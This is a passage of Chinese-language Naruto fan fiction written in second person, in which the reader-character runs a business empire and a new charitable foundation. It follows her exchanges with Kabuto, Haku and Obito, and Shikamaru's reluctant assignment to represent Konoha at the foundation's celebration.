可带土还是担心,在他看来大蛇丸实在是阴险狡诈,更要命的是这样阴险的人不止一个,他身边的药师兜也是一样的居心叵测。 即便他也知道你有多谨慎,但他心里或多或少还是有些担忧的。 你没把带土说的话当成关心,你说:“是吗?那在他暗算之前我就会先动手的。” 说完这话你就对着带土挥挥手示意他可以走了。 就这样敷衍地把他给打发走了吗?要是放在以前带土肯定会心存怨气,但是现在他已经能够适应,或者说,他知道你的本性就是如此。 在他走出一段路后,隐约听见你的呼唤声,他回过头,你手里多出一份食盒,你说:“这是村民准备的,说是为了感谢你,刚才忘记给你了,收下吧,是红豆糕,好吃的。” 他能闻不出红豆糕的香味吗?只是他仍旧不太擅长接受他人的好意,他收下以后觉得自己应该说些什么的,但是喉咙干涩,什么都说不出来,往常总是喜欢冷嘲热讽的你现在反倒是什么都没说,仅仅是拍拍他的手背,“看吧,你刚才不也是回头了吗?所以回头也没有那么难不是吗?” 带土托着食盒的手收拢,因为用力甚至于指尖都在微微泛白,他说:“你是故意的,看到我这幅样子会让你很满意吗?你就是喜欢看别人受折磨的样子对吗?” 叽里咕噜地说什么呢,你戳了一下他的额头,说:“好了,记得在它变质前吃掉,别浪费粮食。” 最后他还是带着那一盒红豆糕离开了,你看着他的背影,过了一会才收回目光。 嗯,接下来还有很多事情要做呀……就算是成为了资本家每天的行程也安排得很满,倒不如说正是因为名下的产业在太多行业中占据垄断地位所以更不能掉以轻心,因为一个闪失的话,就会有成千上万的家庭被迫失去经济来源。 怎么说呢……偶尔也会让你稍微有点压力的呀。 不过白给你带来了不少好消息,说是建立基金会的进展很顺利,而且也拉到了不少投资,有的投资人是为了稳定的回报,有的投资人则是因为先前做了太多亏心事所以做做慈善让自己心安。 每个人加入基金会的原因都各不相同,反正最后都能为你所用就行了,至于其他的,暂时还不在你的考虑范围内。 目前基金会创建的援助项目主要针对孤儿还有伤残人士,你知道日后会逐渐蔓延到其他领域的。 而基金会创建成功势必还要有个庆祝仪式,而你作为牵头人肯定也要出现在庆祝仪式上。 参加多了这些宴会你反而更喜欢乡村里的静谧美好。 “听说木叶也会排除代表参加这次庆祝仪式,是作为火之国的附属代表而来的。” 听到白说这话,你在床铺上打了个滚,“附属代表?是谁啊?” “是奈良一族的人,应该是……奈良鹿丸。” 嗯?奈良一族?你微微眯起眼睛思考了一会,总算是从自己的记忆深处翻找出对这一族的印象,就是那个看上去很聪明的一族?就是他们的审美品位很一般,但他们的聪明却是出了名的,毕竟他们这一族也不算多厉害,却能从战国时代一直安然无恙地延续到如今,而且还在木叶的高层有着一定的话语权,这足以证明他们这个家族很聪明,也很擅长站队。 聪明人自然有聪明人的好处,比如说更加容易沟通,但有利也有弊,弊端就是他们容易想太多。 “奈良鹿丸啊……”你喃喃道,那好像是佐助的同学吧?他们是同期吗?你没怎么了解过这一方面,只是似乎听佐助说过,以前去接佐助放学,从学校到家,一路上他能和你说不少学校里发生的事情,从早上一直到下午,那些细枝末节的小事都和你说得清清楚楚,你虽然没怎么认真听但也听进去了一点。 比如说那个总是坐在教室最后一排睡大觉的奈良鹿丸。 在你和白讨论这个附属代表的时候远在木叶的奈良鹿丸从火影手里接过那份文件,看了一眼,不太敢相信自己的眼睛,他说:“等等——您的意思是这次的基金会庆祝仪式让我参加吗?但是我在此之前都没有过这方面的经验呀。” 纲手没好气地说:“这不是我的意思而是上头的意思,他们感觉你是个合适的人选,恰好我也是这么认为的,虽说你的实力在同期里不是最强的,但你的头脑却是最好的,这场基金会不简单,毕竟参加这次庆祝仪式的是各路贵族还有大商人,如果换成其他人,保不齐就会得罪那些权贵。” 火影大人说的他也能理解,那些所谓的基金会不过是权贵用来粉饰太平的东西,甚至还会借助这种工具彰显自己那点少得可怜的善心,但即便如此木叶也不得不派出代表参加,毕竟这已经上升到国家层面了,也不是他们个人能够决定的。 奈良鹿丸那么聪明不可能不明白,他恰恰是因为太聪明,所以才会一眼看穿这份文件背后的真实意图。 唉,真麻烦啊,早知道这样当初就干脆当一辈子的下忍算了,虽然听起来不怎么样,但至少安逸悠闲,总好过接下这种麻烦的任务。 “我想你应该已经有觉悟了对吗?”纲手问道。 “啊……我应该吧……”奈良鹿丸也不是很确定,说这话的时候都没什么底气。 但是又能怎么 办呢?他身为忍者没有拒绝的权利,他只能接受。 带着这份文件回到家,其实还没到家,在刚刚离开火影楼的时候他就已经开始唉声叹气了,正巧遇上了刚刚出任务回来的鸣人,他还是那副活力满满的样子,说:“唉?鹿丸你怎么看上去无精打采的啊?” 算了,和他说了也不明白,鹿丸心想,他打算把这件事情随便一笔带过,但鸣人看见他手里的文件就问:“啊——这个,诶,看上去好像是机密文件诶。” 都知道是机密文件了还要问个不停吗? 鹿丸颇为无奈地叹了一口气,又说:“抱歉啊鸣人这属于内部机密不能透露。” 鸣人连连点头表示理解,“但如果是很麻烦的事情的话……或许我能帮一点忙?” 他来帮忙吗?鹿丸想了一下,不,果然还是算了吧,这种场合,而鸣人的性格又是那么容易激动的类型,所以鹿丸想也不想地就拒绝了。 鸣人只是稍微有点失落而已,但很快地,他的注意力就被不远处的佐助吸引,他说:“啊——是佐助啊,你也完成任务了吗?我听说你这次的任务是去赌场里解救人质是吗?说起来我都没有去过赌场呢。” 佐助看了鸣人一眼,反应平淡,这不免让鸣人有些疑惑,他小声嘀咕,“奇怪……怎么大家都看起来没什么精神的样子啊,鹿丸这样,就连佐助也这样。” “可能每天都能做到那么乐呵的人本身就是少数吧?”鹿丸说完这话就朝着家的方向走去,他还有很多事情要处理啊,比如说分析参加基金会的人员构成,又比如说这个基金会成立的真正目的是什么。 鹿丸的分析从一开始就陷入了微妙的境地,因为他忽然发现,这个基金会的创始人好像是某个他认识的人,没错,只是认识而已,他认识你,因为你也算得上是木叶的风云人物。 虽说在忍者的世界里都是以实力为衡量标准的,但是不可否认,忍者也是人,那么总的来说也是视觉动物,所以因为长相被你吸引的忍者也不在少数,只不过吸引是一回事,正式追求就是另外一回事了,很多人只是停留在对你有好感的阶段,再没有迈进一步,原因也很简单,那就是围绕在你身边的那些个宇智波。 鹿丸曾经在陪朋友丁次吃烤肉的时候听到隔壁桌的对话,聊天内容就是你。 “啊?你是说住在宇智波的明希小姐吗?嗯……我奉劝你还是放弃比较好哦,我这也不是在给你泼冷水啦,只是……她身边都是宇智波,而你也知道宇智波,嗯,都比较难相处。” “可是不试试看又怎么知道不行呢?” “这可不是试试看的问题啊,问题在于,你在迈出第一步的时候就会被劝退的,我是说武力劝退。” 在那个时候鹿丸就了解到了,你的身边看似平和实则暗流涌动,于是在他眼里你就变成了一个麻烦制造源,像他这种怕麻烦的人自然会对你敬而远之,他一直都奉行这个原则,只会在一旁安静地旁观,看着你和宇智波佐助的哥哥成为恋人,甚至最后一度要订婚,但这场婚礼因为你的突然消失而不了了之。 所以他现在对你也不算太了解,只觉得你是个捉摸不透的人,现在你又出现在这份机密文件上,他看着你的名字,脑海里浮现出你浅笑着的侧影,那足以吸引所有人目光的美丽。 啧,他愈发觉得头疼了。 啊,真的好麻烦。 虽然知道这是件麻烦事,但又能怎么办呢,事已至此,文件都已经交到他的手上了,火影大人也这么说了,他现在没有任何退路。 看来只能硬着头皮上了,想着,鹿丸揉了揉自己的太阳穴,深呼吸几口气,就在这时他的父亲奈良鹿久敲了敲门。 “什么事?”鹿丸打开门,父亲就站在门外,说:“我听说了,你从火影大人那里接到的任务。” 他的父亲这么快就知道了吗?鹿丸仍旧站在门口动都没动,说:“是么,那消息传得还挺快的。” “如果不介意的话,我倒是能提供一些建议。” 从小到大他确实提供了不少建议,所以这次也是,鹿丸跟着父亲来到客厅,当然是轻手轻脚地,毕竟这个时间点打扰到母亲休息可是死罪。 鹿丸找出茶壶和茶叶,泡了一壶茶,然后在茶几旁边坐下,他的父亲就坐在对面,“虽然你只是附属代表,但是,一旦出现什么差池你就会是最先被责怪的那一个,而且不仅是责怪你,更是责怪你背后的木叶。” 本来就有不少人盯着木叶想要搞些小动作,这简直就是在给他们提供大好机会。 “所以说是代表,听起来很光荣的样子,其实只是去背黑锅的而已。”鹿丸懒洋洋地说,只不过因为他们家族比较擅长处理复杂的人际关系,所以就被选中了。 “是啊,上面的事情来来去去不就是这样的吗?太阳底下没有新鲜事。” “您要和我说的就只是这些吗?” “不,还有一点,你肯定也察觉到了,这个基金会的创始人是谁。”奈良鹿久只是端着茶杯没有要喝的意思,幽幽的茶雾从茶杯里飘出来。 鹿丸说知道,就是那个和宇智波订婚以后又逃婚的你,听到这里,奈良鹿久的表情变了变,“这个前缀的意义不大,她所做的事情里逃婚只是最微不足道的一件而已,现在她已经开始插手忍者的事情了,我想你应该也看出来了。” 是啊,先是建立基金会,然后再援助孤儿,最后再援助忍者,你的每一步棋都落在刚刚好的位置,不得不说,你的计划确实很完美。 只不过对于他们忍者来说这到底是好事还是坏事呢?他也有些分辨不清,究其原因还是因为他和你的接触太少,仅有的几次接触还是你询问他佐助的去向,而且你询问他时使用的称呼也很微妙,你说:“奈良家的孩子,你知道佐助在哪里吗?” 这说明了两点,首先,你知道他是鹿丸家的孩子,其次,你一点都不记得他的名字。 怎么说呢……心里也会稍微有点不舒服的吧,是说不上来的微妙感,倒也不是他自以为是,只是,他和佐助当了那么久的同学,你好像都还不知道他的名字。 可是转念一想,像你这种被众星捧月着长大的人会忽略别人的感受是再自然不过的事情了,从小就是人群焦点的你当然不会留意到藏匿在人群中的他了。 性格使然想要远离麻烦源,但与你四目相对的时候还是会被你吸引,这就是他最矛盾的地方了。 父亲奈良鹿久又说:“所以你这次去还有另外一个任务,那就是试探她的态度。” 鹿丸把手里的茶杯一放,有些失态地说:“什么?我吗?” “是啊,你是个聪明的孩子肯定能做到的吧?” 这不是聪明不聪明的问题,这是他能否全身而退的问题,而且更要命的是,到时候要是让那些宇智波知道他和你接触过,哈……那可真麻烦到家了。 鹿丸长久地不说话,等了很久才叹息着说:“好吧,我明白了。” 而此时此刻的木叶不仅仅是他们在夜谈,出任务回到家的佐助也在和哥哥夜谈,或者说,单方面地被约谈。 “佐助,你的脸色看起来不太好,怎么,上次的任务完成得不顺利吗?”工作了一整天的鼬还能这么关心自己的弟弟,尽管比较一下他的工作量可比弟弟佐助多得多。 佐助 移开视线,不行,绝对不能在哥哥面前暴露自己的真实想法,可是……他的哥哥又这么了解自己,他的心思在他面前无所遁形,鼬的身上还带着点水墨气味,因为他用毛笔改了一天的文件,就连手指的指腹也不可避免地沾染了一点墨迹,用香皂洗过以后变淡了一些。 “没有。” “那你为什么突然变得这么沉默寡言?” 如果让哥哥知道自己见过你,甚至还和你彻夜长谈,他会生气吗? “是不能告诉我的事情吗?嗯……不说也没关系,我只是希望你能够轻松高兴一些而已。” 哥哥还是原来的哥哥,还是那么关心自己的哥哥,佐助唰地站起身,低着头,躲避哥哥的视线,稳住自己的声线,说:“我要去休息了。” “嗯,好好休息吧。”鼬的声音很平淡,但转过身去往自己房间的佐助却觉得如芒在背。 果然……还是让哥哥起疑心了吗? 回到房间以后的佐助长呼一口气,他也不想的,他也不想欺骗自己的哥哥的,只是,一旦开了这个口子,万一哥哥又去打扰你的生活又该怎么办呢? 在赌场和你度过的那两天他感觉到了,离开木叶以后的你过得很好,你很喜欢外面的世界,外面的生活,所以他不该,也不愿意破坏你的生活。 他平躺在床铺上,慢慢地蜷缩起身体,看向暗灰色的天花板,嘴里呢喃着你的名字,“明希……” 你现在又在做什么呢?他想。 你当然是在准备基金会的事情,说起基金会,因为刚成立的基金会建立的几个项目都是援助孤儿的,所以你还得和各个孤儿院的院长沟通一番,其中有个孤儿院就是由药师兜负责的。 没错,药师兜不仅是大蛇丸的贴身助理实验室二把手办公大楼消防网格员,而且还是某个孤儿院的负责人,兼任医生。 头衔多得报出来就跟报菜名似的。 这里可站不下这么多人。 所以简而言之,你还得要和药师兜交接一番,然后他就跟个狗皮膏药似的,你前脚才离开村子,他后脚就摸到了火车上,想象一下你一抬头结果看见窗外突然出现的白毛男。 徒手扒火车,他倒是很有个性。 你木着一张脸看向窗外,药师兜还在对你笑,你默默地把窗户给关严实了,然后药师兜就从另外一边进来了,他说:“明希,好久不见了。” 啊?很久吗?你怎么觉得自己好像在不久前就已经见过他了啊? “你这是不请自来啊。”你说,白正在餐吧准备下午茶,他也听见了动静,走到这节车厢的入口时手里还拿着玻璃杯,一看来的不是别人是药师兜,他就没有那么紧张了,如果要问为什么的话,嗯,因为他知道你不怎么喜欢药师兜,所以就算对方用尽千方百计也不会获得你的青睐的。 所以白只是看了一眼,在你的眼神示意下又回到餐吧继续准备下午茶,药师兜在你对面坐下,他说:“这算不请自来吗?嗯……我这主要也是为了向你汇报孤儿院的情况,希望我这样没有打扰到你。” “其他人汇报工作都是直接一封信就完事了,你倒是挺讲究的,还主动找过来。”说实话,你真的有点佩服大蛇丸了,居然能动不动就给自己的下属放假。 除了忍术恶心了一点,你觉得大蛇丸还算得上是个体贴下属的上司,光是痛快给批假这一点就已经胜过许多光说不做的上司了。 “是啊,这才能显示我对这份工作的认真态度呀。” 得了吧,他那是对工作的认真态度吗?他那分明就是想要来给你添麻烦的,别以为你不知道他那点心思。 白端着茶水走到桌边,又说:“大蛇丸就没有给你布置别的任务吗?” “布置了,但我提前完成了任务。” 是的,药师兜就是这样的卷王,性格虽然有问题,但工作效率那是真的没得说。 你把白支开,自己认真听药师兜的工作汇报,说到后面,他就开始夹带私货了,他说:“说起来明希你对君麻吕的态度可真不一般啊,以至于他回到实验室以后还对你念念不忘,哈哈……也是,好像大家都很喜欢你,我就没有见过不喜欢你的人。” 听到君麻吕的名字你还稍微愣了一下,哦对,君麻吕,就是那个白发碧眼的少年,你还给他拍了照片来着的,你说:“这样啊……” 药师兜又明里暗里地说着君麻吕还不怎么懂事,言下之意就是真正懂事的人是他。 见过毛遂自荐,但没见过他这样拉踩同事来毛遂自荐的,看来大蛇丸那边的办公氛围不是很好啊,你想。 在药师兜说别的话题前你打断他的话,你说:“既然你的工作汇报已经结束了,那你也该走了。” 药师兜的眼睛微微睁大,好像很惊讶,但他很快调整好自己的表情,说:“啊……明希你就这样下了逐客令吗?” 你觉得没什么问题,他该说的事情都已经说了,你说:“那你还有别的什么事情吗?” “……我只是觉得自己已经很久没和明希你说说话了。”说着说着,他的神情也变得可怜兮兮的,你盯着他看了几秒,最后将视线投向窗外的远方,你说:“那就喝杯下午茶吧。” 药师兜是个聪明人,知道你这话什么意思,那就是他暂时不用走人的意思,他端起茶杯,动作慢条斯理,他当初被培养成间谍的时候就专门学习过茶艺还有其他的技能,只是他在选择追随大蛇丸大人以后已经很久再用过这种技能了。 现在他的茶艺也没有以前那么精进,他说:“以后有了火车这样交通工具,各地区货物的运输也会更加便利,不得不说明希你确实颇有远见。” 其实你也没有那么讨厌药师兜,只是偶尔觉得他烦人而已,但怎么说呢,这也是这个世界忍者的通病了,毕竟能够在这样的世界下还身心健全的人实在是少数。 兜兜转转,最后话题绕到了基金会上面,药师兜当然知道不久后的基金会庆祝仪式,因为到时候他也会到场,以普通宾客的身份到场。 他说:“原本君麻吕也要去的,但很可惜,临时有任务,他就去不了了。” 听他说话这语气感觉还挺庆幸的,看样子是巴不得君麻吕不会出现在你面前,你对君麻吕倒是没有太多的印象,听到他的名字脑海里浮现出的画面也是他白皙的皮肤在情绪激动的时候原来也会变成淡粉色,然后就没有然后了。 药师兜也发现了,你对君麻吕的态度更像是对待一次性的玩具,玩过以后就忘了,啊……亏他之前还在担心呢,非常担忧君麻吕会在你的心里占据一席之地呢,现在看来还是他想得太多了。 这种事情是根本不可能发生的。 想着,他整个人都放松下来,姿态轻松,他说:“我听说木叶也会派人过来,你确定没问题吗?” 这又能有什么问题呢?你的势力发展到现在也不用担心木叶对你的威胁,就算是宇智波鼬找过来你也无须担心,他顶多就是和你幽怨地说几句话而已,除此之外他还能做些什么呢? 你日后还会成为木叶的一大赞助人,就算是忍者也不会和钱过不去的,所以宇智波鼬也不可能违背木叶的利益来伤害你。 所以说啊,有钱确实可以为所欲为。 “没问题。”你说。 药师兜沉默了一会,而后说:“就快到冬天了啊……” 说起来他不怎么喜欢冬天,小时候因为父母双亡进入孤儿院,但那个时候孤儿太多,物资不够,夏天的时候倒还好,一到冬天就会变得很难熬,没有足够厚实的衣服,没有炭火取暖,一切都显得好冰冷,蜷缩着身体躲进被窝里,和其他孩子凑在一块取暖,可露在外面的耳朵还是生了冻疮。 即便那冻疮后来痊愈了,但他还是忘不掉这种感觉,时至今日都记得很清楚。 他不怎么喜欢那段回忆,那些共同生活在孤儿院里的孩子也只是其他人的棋子而已,但是……他的脑海里忽然浮现出你建立的孤儿院,和他记忆中的模样截然不同,那些孩子不用担心日后被战争波及,也不会变成棋子,他们拥有自己的人生,他们日后会进入你的工厂,有学习天赋的孩子会进一步进修。 这些机会都是你给他们的。 对于他们来说,你是救世主都不为过,可你呢?你好像对此一点都不在乎。 果然还是想要知道,想要看穿你的内心,你究竟……是怎么想的呢? 药 师兜居然保持安静这么久,你略带讶异地瞧他,他不问自答:“我在想明细还真是个伟大的人呢。” 真的吗? 你挖了一勺杯子蛋糕,是香草口味的蛋糕,上面还涂抹了一层奶油,奶油是青柠口味的,味道轻盈又清新。 那辆列车行驶到茗之国的国都就停下了,接下来的基金会庆祝仪式就在这个都城举行,你没有选在五大国,那是因为但凡你选择其中一个大国另外几个国家就认为你的选择有失偏颇,所以你干脆选在这个小国家,这样一来他们就都没话说了。 而茗之国的君主也非常欢迎你将庆祝仪式的举办地设置在茗之国,这对他来说百利而无一害,于是他没怎么犹豫地就和你达成合作关系,你乘坐列车抵达都城的时候他还特意外出迎接你的到来,他说:“明希大人的到来可真是让我们这里蓬荜生辉呀。” 忽略那些没什么意义的客套话,你直接切入正题,问道:“所以庆祝仪式的场地布置得怎么样了?” 那个君主说:“差不多了,就等您去现场审查了,如果有什么细节上的问题还请您提出来,我马上就让下面的人去改。” 他不光是对你和颜悦色,对你身边的白和药师兜也都很尊敬,估计是把他们俩都当成你的助手了,等你走出一段路后你对药师兜说:“你也要和我一块去主办地看看吗?” “你不希望我去吗?但我或许也能给你提供一些帮助,为明希服务也是我的荣幸。” 行吧,他说话就是这个风格,乍一听还以为是在阴阳怪气,但是仔细一听就会发现他说的话都是真心话,至少在你面前他说的大部分都是实话,只是因为他在你那里留下的第一印象不算太好,果然第一印象还是很重要的啊…… 要是时间能够倒流就好了,回到他与你初次见面的时候,他应该就不会说出惹怒你的话了吧。 但也只是想想而已。 他还在等待你的答复,你说:“行吧,那就一块去吧。”抛开他的性格不谈,药师兜确实是个很合格的打工人,就没见过那么认真负责还喜欢内卷的员工。 场地内部由各类彩带装饰,基金会吉祥物的雕塑摆放在场地的正中央,使得进入宴会厅的人一眼就能看见这座雕塑,你创建的基金会吉祥物是一只振翅高飞的白鸟,雕塑的细节方面做得很精致,尤其是羽毛,每一根羽毛都细致而生动,细节上的考究使得这座雕像栩栩如生,乍一眼还以为真的是一只即将展翅高飞的白鸟。 药师兜在场地里来回走动,从这头走到另外一头,最后再回到你身边,提出一些建议,比如说丝带的装饰太多余,又比如说,现场的光线可能有点太亮了,等正式到庆祝仪式的那一天应该将灯光的亮度调低一点,总之他条理清晰地和你分析了很多。 说到最后他又对你笑了一下,说:“这些就是我的建议了,当然,是否采纳还是看明希你的建议。” 你觉得还算合理的建议都采纳了,至于那些无伤大雅的细节,也不用特意修改,毕竟这样来来去去很耗时耗力。 “太好了,看来我是帮到明希你了呀。” 你对药师兜说:“哪怕你对我面无表情我也不会对你生气的,所以,别用假笑来敷衍我。” 他上扬的唇角一点一点地绷直,“啊……果然还是被发现了吗?不是都说伸手不打笑脸人吗?我还以为笑着的话可以让自己看起来更加平易近人一些呢。” 不,只会让人觉得他很阴险狡诈。 果然还是因为他戴着眼镜的缘故吧?于是你突然朝他伸出手,药师兜也没有要躲开的意思,他甚至站直身体,任由你的手靠近,如果没看错的话,他眼里好像还带着点期待的情绪? 也不知道他到底在期待什么,你摘下他的眼镜,你合理怀疑他本身没有近视,戴着眼镜也只是他的习惯而已,毕竟近视的忍者你都没怎么听说过,而且他那么熟悉人体穴位,完全可以给自己来个近视眼手术。 你将他的眼镜收在手里,嗯……果然这样子看起来就顺眼多了,你说:“你不戴眼镜的样子更好看。” “诶,是吗?”药师兜故作惊讶,“原来明细你喜欢这个造型呀。” 不过不戴眼镜确实会有点不习惯,不是看不清,而是心理上不习惯,因为平常如果有眼镜的话看向对方就不用担心被看穿,而此刻,他不怎么自然地眨了眨眼睛,就这么直接地与你四目相对,好像自己的内心都要被你给看穿了。 他的内心世界在你眼里一览无遗。 不安。 多年间谍经历铸造的本能让他尽可能避免让他人看穿自己的内心真实想法。 身为间谍要是被人看穿那是一件很可怕的事情啊…… 理性在战栗着,但是,他还是不由自主地和你对视着,但这次他不再那么游刃有余,甚至还产生几分紧张。 你的手指勾着眼镜架,不知道药师兜丰富的内心活动,你只是单纯地觉得他现在的样子更好看一些而已。 第40章 后来你还是把眼镜还给了药师兜,毕竟你留着他的眼镜也没什么用,他从你手中接过眼镜的时候若有所思地说:“我会好好考虑明希你的建议的。” 你有提出什么建议吗?你只是单纯觉得他不戴眼镜的样子更顺眼一点而已。 白从宴会厅的侧面口走过来,他说:“明希,客房都已经准备好了,然后这是参会名单的最终版,还请你过目。” 你应了一声,从白的手里接过那个名册,至于药师兜,你暂时把他抛到脑后,反正他也不是小孩子了,又不需要你全程看着,你拿着这份名册来到宴会厅旁边的休息室,从第一页开始看起,一直翻看到最后一页。 目光停留在木叶附属代表这一栏,最后还是让奈良家族的人来的啊,你也觉得这个选择很合理,换成其他家族你都觉得他们不擅长应付这种场面。 “奈良一族我调查过了,来参加宴会的是奈良鹿丸,而他的父亲正是奈良鹿久,算得上是靠近木叶权力中心的人。”白在此之前就特意调查过这一族,你听他说着,脑袋里浮现出奈良鹿丸的脸,你见到他的几次都是在学校里,而且还是在放学的时候,你去接佐助回家,偶尔有几次没找到佐助,你就只能询问周围的小孩子。 不同于那些一看到你都害羞得说不出话来的小孩子,奈良鹿丸算是同龄人比较成熟的那一个了,至少不会一见到你话都说不利索,所以你习惯性地就找他询问佐助的去向。 而他也不会让你失望,每次都能给你指明方向,说来惭愧,你一直都没怎么记住他的名字,你只知道他是奈良家的孩子,这一点很好辨认,木叶中的家族都有着自成一派的穿衣风格,而且讲究一点的家族还会有家徽,你就是通过这种细节确认眼前的孩子来奈良一族。 因为不知道他的名字,主要是你也觉得没有记住他名字的必要,所以你每次称呼他都是“奈良家的孩子”,反正这种称呼是绝对不会出错的,事实证明的确如此,听到你这么说的奈良鹿丸都是有些懒洋洋的,但还算有耐心地回答你的问题。 你盯着白整理出来的那份文件,那张照片应该是奈良鹿丸的近期照,因为他和你想象中的孩子模样大有不同,总觉得……他看起来比同期的鸣人还要成熟许多啊,难道这是你的错觉吗? 看文件看了一会,你把文件夹放到另外一边,长呼一口气,白问道:“是感觉到疲惫了吗?需要我帮忙按摩吗?” 你姿态慵懒地趴在躺椅上背对着白,说:“是啊,稍微有点,那就麻烦你啦。” “不存在麻烦不麻烦的,只要是能够为明希服务……” 白一边按摩一边轻声细语地说:“再不斩先生写了信过来哦。” 啊……差点忘 了还有个再不斩,手底下的员工太多就是这样的,你一时半会想不起来自己还有别的员工,尤其是在他回到雾隐村以后,你好像就没怎么收到过他的信件,你半是埋怨地说:“什么啊,他现在才送一封信过来吗?之前居然一点音讯都没有,唉,他眼里还有没有我这个上司啊?” 白给你按摩的动作顿了顿,他斟酌用词,说:“其实之前再不斩先生也有送信件过来,只不过那个时候明希你太忙了,所以我就没有打扰你。” 话是这么说的,但白确实提醒过你,和你提过一句,但你没什么太大的反应,然后就没有然后了。 “这样啊。” 嗯,这样就显得你好像在倒打一耙,你沉默几秒。 但是白恰到好处地说:“这也是没办法的事情,明希你每天都有那么多的事情要处理,不可能每封信都能过目的。” 没错,白这话说得没错,就是这样的。 论说话的艺术还得看白,你彻底放松下来,放松过头的后果就是直接睡着了,等你醒过来的时候自己已经被转移到客房里了,估计是白把你带回客房的,你盯着客房天花板上的水晶灯,看了好一会,听见门外传来的动静。 来者不是白而是药师兜,你应了一声让他开门进来,他带着一份手册进来,说是上次大蛇丸收到你给的新鲜尸体后回给你的礼物。 哦对,他不提你都快忘了还有这一茬,你在酒之国打包的新鲜尸体全都送到大蛇丸那边了,而毫无疑问药师兜是最直接的受益者,他说:“多亏了明希你给的这些尸体,我们的实验又有了突破性进展呢。” 啊,是吗,他们一个两个的实验天才动不动就搞出个突破性进展,以至于你现在听到他这么说你都没有最开始那么激动了。 究其原因还是因为他们的科研能力过硬直接把你的满意阈值都给拉高了,你淡淡地说:“哦,那还挺好的。” “有的时候我也很想听明希你夸一夸我啊,虽然这确实是我们的职责,但是……如果明希能夸奖我的话,我会很高兴的哦。” 是吗?他是什么幼稚的小孩子吗?你的第一反应就是差点说出阴阳怪气的话,后来你转念一想,对方毕竟是你的合作伙伴,虽然性格奇怪了一点,但还在你的接受范围内,于是你就说:“你做得很好,有你这样的合作伙伴让我很安心。” 说完这话你觉得应该差不多了吧?然而并没有,药师兜还在认真地看着你,双眼一眨不眨地,因为摘下了眼镜,所以你能够更加清楚地看见他那纤长浓密的眼睫,有些秀气,如果不是生在这个世界的话,你总觉得他应该会是个在大学校园里很受欢迎的学长。 但很可惜,他生在这种世界,而且还很喜欢做人体实验。 “现在该说的都已经说了,你还盯着我做什么?”你反问道。 药师兜拉过椅子坐下,双腿并拢,双手很规矩地放在自己的膝盖上,一个人的姿势还有动作可以透露出很多信息,比如说现在的药师兜内心应该是惴惴不安的,所以才会表现出这种动作,但与此同时他的上半身又是微微向你倾斜的。 人会无意识地靠近自己喜欢的人,哪怕只是很轻微的倾斜。 好吧,你得承认他好像确实喜欢你,对此你也不怎么奇怪,这个世界的人喜欢都是来得莫名其妙的,明明你也没做什么他们就喜欢上了,要是放在影视剧里估计会被吐槽毫无感情铺垫的吧? “请你再摸摸我的头发吧。” 说着,他又靠近几分,然后低下头,银白色的头发凑了过来,你顿了顿,最后伸出手,带着几分恶趣味地揉乱他的头发。 他原本柔顺的头发被你弄得乱糟糟的,关键是他也不生气,还在无声地笑,他说:“这可真是……让人感到幸福啊。” 仅仅只是这样就能感到幸福吗? 你说:“那你对幸福的标准还挺低的。” “不是哦,每个人对幸福的定义都不同,而且也不是谁都能找到属于自己的幸福的,而我应该算得上是个幸运的人吧。”药师兜一字一顿地说着。 你拿起药师兜带过来的册子,低头看东西不怎么搭理他,你一抬头,他就朝你笑。 有什么好笑的? 你低头继续专心看册子,这本册子应该是药师兜亲自整理的,你能认出他的字迹,册子里面记录的都是一些重要的实验数据。 等你看得差不多了,你才说:“很好,我对你们的工作进展很满意。” 把册子合起,药师兜又说起孤儿院的事情,你发现了,他在说关于孤儿院的话题时态度都会变得格外微妙,再联想到他小时后在孤儿院的经历,也不难看出他一直在受那段回忆的影响。 都说了人需要一生去治愈不幸的童年,你上辈子也不算多不幸,顶多就是很普通,任何方面都很普通,所以也很难做到和药师兜感同身受,不过人与人之间的悲欢本来就是不共通的。 你也懒得对他提供情绪价值,你一针见血地指出关键所在,你说:“你好像一直都没有从过去的阴影走出来啊,哪怕你的身体长大了,但是你的灵魂还是被困在那个孤儿院的角落里。” “或许吧……但我总在想,要是我小时候能够遇到明希你就好了。” 那还是算了吧,你见到小时候的药师兜也不会搭理他的,一旦搭理他,对方就会变成狗皮膏药缠过来。 “所以才会那么羡慕那些在孤儿院的孩子,他们都生活在明希你的庇护下,那么的无忧无虑啊……” 你敷衍地嗯嗯两声,然后就把药师兜给打发走了。 你在茗之国的都城呆了两天,眨眼间就到了基金会庆祝仪式当天,你穿着深色系的正装,不笑的时候看起来气质沉稳,当然你也会适当地笑一笑,尤其是在见到你想见的人时。 “好久不见了鹿丸先生。”你端着就被走到奈良鹿丸身边,伴随着你的靠近,奈良鹿丸心中暗道一声不好。 越是美丽的女人就越是危险,这是奈良鹿丸从小就懂得的道理,所以他才会尽可能地远离你,但现在的情况有所不同,不是他不想远离你,而是你主动找过来的,你身为这场宴会的主办人,就是全场的焦点,而因为你主动搭话,奈良鹿丸也被迫成为他人的焦点。 不,不是焦点,应该说是众矢之的才对,那些打量的目光扎在他身上,如芒在背,他抿抿唇,调整自己的呼吸节奏。 呼,冷静,稍微冷静一点,他在心里不停地对自己这么说。 好像稍微冷静一点,但是与你四目相对的一瞬间,心跳还是加速了,他之前的努力也都功亏一篑,他有些羞恼,在痛恨自己对于情绪的掌控能力太弱,只是和你对视一眼而已,仅仅是这样就差点被分散注意力吗? “你……知道周围的人都在看你吗?”沉默了许久,奈良鹿丸他最后只憋出这么一句话来。 完全落入下风了啊,想起临行前父亲对他的叮嘱,还有他身上的另外一个任务,这种情形下又该让他如何打探你的态度啊?不是他打探你,应该是你探查他才对。 虽然他已经做好了心理准备,可真的和你接触的时候,他又发现自己的准备实在是不算太充足,还很薄弱啊……就连他的意志力也是。 “我知道啊。”你怎么可能感觉不到啊,但这不是很理所当然的事情吗?毕竟一来你是这个基金会的创始人,二来你又是这个活动的举办人,大家关注你也是情理之中的吧? 奈良鹿丸硬着头皮说:“你应该不是专门过来和我寒暄的吧?所以还是开门见山地说吧。” 这就是你喜欢和聪明人打交道的原因,不需要前期那些弯弯绕绕,你一开口,才说了没两句话对方就知道你的意思。 “我听说奈良一族一向以智力著称,而且你的父亲也在木叶高层扮演军师的角色,那你还真是 ……虎父无犬子啊。” 扯那么多有的没的做什么?这难道是在暗示他你已经调查过他的家人了吗? 很有这可能,他说:“你可以直接省略这些没必要的铺垫的。” “嗯,我果然很喜欢和你这样的聪明人聊天。” 